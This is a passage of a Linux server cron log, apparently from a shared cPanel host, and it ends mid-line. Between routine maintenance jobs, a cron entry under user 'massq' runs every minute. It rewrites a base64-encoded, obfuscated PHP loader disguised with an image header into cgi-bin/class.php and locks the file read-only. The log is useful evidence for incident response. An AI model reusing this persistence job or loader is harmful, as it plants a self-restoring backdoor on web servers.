Sep 10 23:10:01 server CROND[4053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:10:01 server CROND[4055]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:10:01 server CROND[4058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:10:01 server CROND[4057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:10:01 server CROND[4056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:10:01 server CROND[4061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:10:01 server CROND[4059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:11:01 server CROND[4992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:11:01 server CROND[4993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:11:01 server CROND[4994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:12:01 server CROND[5377]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 23:12:01 server CROND[5380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:12:01 server CROND[5379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:12:01 server CROND[5381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:13:01 server CROND[5758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:13:01 server CROND[5759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:13:01 server CROND[5760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:14:01 server CROND[6140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:14:01 server CROND[6141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:14:01 server CROND[6142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:15:01 server CROND[6537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:15:01 server CROND[6539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:15:01 server CROND[6540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:15:01 server CROND[6543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:15:01 server CROND[6544]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 23:15:01 server CROND[6545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:15:01 server CROND[6546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:15:01 server CROND[6547]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:16:01 server CROND[7481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:16:01 server CROND[7480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:16:01 server CROND[7482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:17:01 server CROND[7862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:17:01 server CROND[7863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:17:01 server CROND[7861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:18:01 server CROND[8251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:18:01 server CROND[8252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:18:01 server CROND[8253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:19:01 server CROND[8672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:19:01 server CROND[8673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:19:01 server CROND[8674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:20:01 server CROND[9070]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 23:20:01 server CROND[9072]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:20:01 server CROND[9073]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:20:01 server CROND[9083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:20:01 server CROND[9087]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:20:01 server CROND[9084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:20:01 server CROND[9089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:20:01 server CROND[9091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:20:01 server CROND[9085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:21:02 server CROND[10111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:21:02 server CROND[10123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:21:02 server CROND[10124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEy